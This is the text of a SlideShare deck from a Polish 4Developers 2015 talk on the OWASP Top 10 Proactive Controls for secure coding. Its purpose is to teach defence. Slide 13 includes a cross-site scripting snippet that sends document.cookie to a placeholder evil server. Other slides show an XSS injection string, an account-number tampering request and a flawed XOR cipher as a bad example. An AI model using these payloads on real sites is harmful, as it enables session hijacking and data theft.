Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski

109 views

Published on

YouTube: https://www.youtube.com/watch?v=fyRAef3lnTo&index=55&list=PLnKL6-WWWE_WNYmP_P5x2SfzJ7jeJNzfp

Speaker: Wojciech Dworakowski

Language: Polish

OWASP - Open Web Applications Security Project to fundacja której celem jest eliminacja problemów bezpieczeństwa aplikacji. OWASP działa w duchu "open source" i dostarcza narzędzi, informacji i wiedzy pozwalających podnieść poziom bezpieczeństwa aplikacji. W trakcie wykładu przedstawie krótko OWASP Top 10 w wydaniu dla programistów, czyli "Top 10 Proactive Controls" a więc najważniejsze zalecenia pozwalające na uniknięcie kluczowych błędów bezpieczeństwa.

4Developers: http://4developers.org.pl/pl/

Published in: Software
  • Be the first to comment

  • Be the first to like this

4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski

  1. 1. 10 przykazań bezpiecznego programowania OWASP Top Ten Proactive Controls Wojciech Dworakowski, SecuRing OWASP Poland Chapter Leader
  2. 2. Wojtek Dworakowski @wojdwo CEO (od 2003) Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT OWASP Poland Chapter Leader (od 2011)
  3. 3. OWASP O = Open • Materiały i narzędzia – za darmo – licencje Creative Commons – open source • Tworzone na zasadach otwartej współpracy – każdy może przyłączyć się 3
  4. 4. OWASP Poland Chapter • Od 2007 • Spotkania: Kraków, Poznań, Warszawa • Wstęp wolny • Wspierają nas:
  5. 5. Ankieta na 4Developers 2014* * Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014” • 62% firm nie edukuje programistów w zakresie bezpieczeństwa aplikacji • >50% firm nie uwzględnia bezpieczeństwa na etapie projektowania • 73% pytanych potwierdziło, że wprowadzało poprawki wynikające z testów bezpieczeństwa • Tylko 42% potwierdziło że przed wdrożeniem wykonują testy bezpieczeństwa
  6. 6. OWASP Top10 Risk vs OWASP Top10 Proactive Controls
  7. 7. Disclaimer • Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10 – To materiał edukacyjny – Każda aplikacja ma swój specyficzny profil ryzyka
  8. 8. 1: Parameterize Queries
  9. 9. SQL/LDAP/XML/cmd/…-injection Łatwe do wykorzystania • proste w użyciu narzędzia automatyzujące atak Znaczne skutki ataku Źródło: http://xkcd.com/327/
  10. 10. Dobre praktyki #1 Zapytania parametryzowane – Prepared Statements / Parametrized Queries #2 Stored Procedures – Uwaga na wyjątki! (eval, blok dynamiczny, etc.) #3 Escaping – ryzykowne! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
  11. 11. Narzędzia i materiały • Bobby Tables: A guide to preventing SQL injection • Query Parameterization Cheat Sheet • SQL Injection Prevention Cheat Sheet • OWASP Secure Coding Practices Quick Reference Guide
  12. 12. 2: Encode Data
  13. 13. XSS • Zmiana treści strony • Przechwycenie sesji <script>document.body.innerHTML(“Jim was here”);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?” + document.cookie; </script>
  14. 14. Skutki braku kodowania znaków specjalnych • Session hijacking • Network scanning • Obejście zabezpieczeń przed CSRF • Zmiana zawartości strony (w przeglądarce) • … • Przejęcie kontroli nad przeglądarką – vide BeEF
  15. 15. Historia pewnej aplikacji
  16. 16. Cross Site Scripting Ale często wklejenie bezpośrednio w kontekst javascript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
  17. 17. Dobre praktyki • Kodowanie znaków specjalnych odpowiednie do kontekstu użycia – element HTML – Atrybut HTML – JavaScript – JSON – CSS / style – URL
  18. 18. Narzędzia i materiały • XSS (Cross Site Scripting) Prevention Cheat Sheet • Java Encoder Project • Microsoft .NET AntiXSS Library • OWASP ESAPI • Encoder Comparison Reference Project
  19. 19. 3: Validate All Inputs
  20. 20. Po co walidacja? • Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji • Walidacja jest jak firewall – Nie zabezpiecza przed wszystkim – …ale dobrze ją mieć
  21. 21. Dobre praktyki • Walidacja wg whitelisty a nie blacklisty, • Typowanie pól – najlepiej „systemowo” a nie per formularz. – Porządkuje to bezpieczeństwo w wielu warstwach – np. potem łatwo można użyć do reguł WAF • Walidacja pierwszą linią obrony – np. silne rzutowanie typów zapobiegnie injection, – ale nie może być jedyną !
  22. 22. Narzędzia i materiały • Input Validation Cheat Sheet • Apache Commons Validator • OWASP JSON Sanitizer Project • OWASP Java HTML Sanitizer Project • Google Caja
  23. 23. 4: Implement Appropriate Access Controls
  24. 24. Historia rachunku
  25. 25. Żądanie HTTP po przechwyceniu GET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Podmiana nr rachunku – uzyskujemy cudze dane
  26. 26. Dobre praktyki • Decyzja po stronie serwera ! • Default deny • Wszystkie żądania muszą przejść przez kontrolę uprawnień – scentralizowany, spójny mechanizm • Zasady kontroli dostępu (policy) osobne od kodu – a nie jako część kodu
  27. 27. if (currentUser.hasRole(“administrator”)) { //pozwol } else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
  28. 28. Narzędzia i materiały • Access Control Cheat Sheet • Java Authorization Guide with Apache Shiro – Apache Shiro Authorization features • OWASP PHPRBAC Project
  29. 29. 5: Establish Identity and Authentication Controls
  30. 30. Przykład defektu • Uwierzytelnienie kluczem lokalnie trzymanym na komputerze • Proces logowania: 1. podajemy login 2. wybieramy plik z kluczem, wprowadzamy hasło do klucza 3. jesteśmy zalogowani https://...../GenerateNewKey
  31. 31. Dobre praktyki • Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających • Zasada „łańcucha zaufania” • Uwaga na sesyjność „na granicy” ! • Nie limituj długości i znaków które można użyć w haśle
  32. 32. Narzędzia i materiały • Authentication Cheat Sheet • Password Storage Cheat Sheet • Forgot Password Cheat Sheet • Session Management Cheat Sheet
  33. 33. 6: Protect Data and Privacy at transit at rest
  34. 34. Przykład defektu (at transit) • SSL zapewnia szyfrowanie i autentyczność • Co weryfikuje autentyczność serwera? – Aplikacje przeglądarkowe: Przeglądarka – Aplikacje mobilne / thick-client / embedded…: Aplikacja • Najczęstsze błędy – Brak sprawdzenia certyfikatu lub „łańcucha zaufania” – Brak obsługi wyjątku
  35. 35. Dobre praktyki (in transit) • TLS • Dla całości aplikacji • Cookies: flaga „Secure” • HTTP Strict Transport Security • Zestawy silnych szyfrów • Chain of trust • Certificate pinning
  36. 36. Narzędzia i materiały (in transit) • Transport Layer Protection Cheat Sheet • Pinning Cheat Sheet • OWASP O-Saft (SSL Audit for Testers)
  37. 37. Przykład defektu (at rest) • Przechowywanie haseł • „Własna” implementacja SHA1 public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
  38. 38. Dobre praktyki (at rest) • Nie próbuj wynaleźć koła ! – Własne szfry są ZŁE – Własna implementacja crypto jest ZŁA – Sprawdzone biblioteki • Silne szyfry w silnych trybach – ECB jest ZŁE – CBC – uwaga na „padding oracle” • Dobre źródło losowości dla IV
  39. 39. Narzędzia i materiały • Google KeyCzar • Cryptographic Storage Cheat Sheet • Password Storage Cheat Sheet
  40. 40. 7: Implement Logging, Error Handling and Intrusion Detection
  41. 41. Narzędzia i materiały • Logging Cheat Sheet • OWASP AppSensor Project
  42. 42. 8: Leverage Security Features of Frameworks and Security Libraries
  43. 43. Narzędzia i materiały • PHP Security Cheat Sheet • .NET Security Cheat Sheet • Spring Security • Apache Shiro • OWASP Dependency Check / Track
  44. 44. 9: Include Security-Specific Requirements
  45. 45. Definiowanie wymagań • Scenariusze ataku – Jak zagrożenia mogą osiągnąć cele? – Wymaga doświadczenia i wiedzy eksperckiej • Dobranie zabezpieczeń == WYMAGANIA Zagrożenia Skutki Scenariusze ataku Kto? Jak? Co?
  46. 46. Narzędzia i materiały • OWASP Application Security Verification Standard Project • Software Assurance Maturity Model • Business Logic Security Cheat Sheet • Testing for business logic (OWASP-BL-001)
  47. 47. 10: Design and Architect Security In
  48. 48. Narzędzia i materiały • Software Assurance Maturity Model (OpenSAMM) • Application Security Verification Standard Project • Application Security Architecture Cheat Sheet • Attack Surface Analysis Cheat Sheet • Threat Modeling Cheat Sheet
  49. 49. Podsumowanie
  50. 50. To tylko Top Ten ! • Każda aplikacja jest inna – Trzeba zdefiniować profil ryzyka (KTO?, PO CO?) – i uwzględnić „zgodność z przepisami” • Kilka prostych kroków daje duże efekty • Warto edukować programistów w zakresie bezpieczeństwa
  51. 51. Spotkania OWASP https://www.owasp.org/index.php/Poland Lista mailingowa Facebook: OWASP Poland Local Chapter Twitter: @owasppoland
  52. 52. Dziękuję Wojciech Dworakowski @wojdwo wojciech.dworakowski@securing.pl http://www.securing.pl

×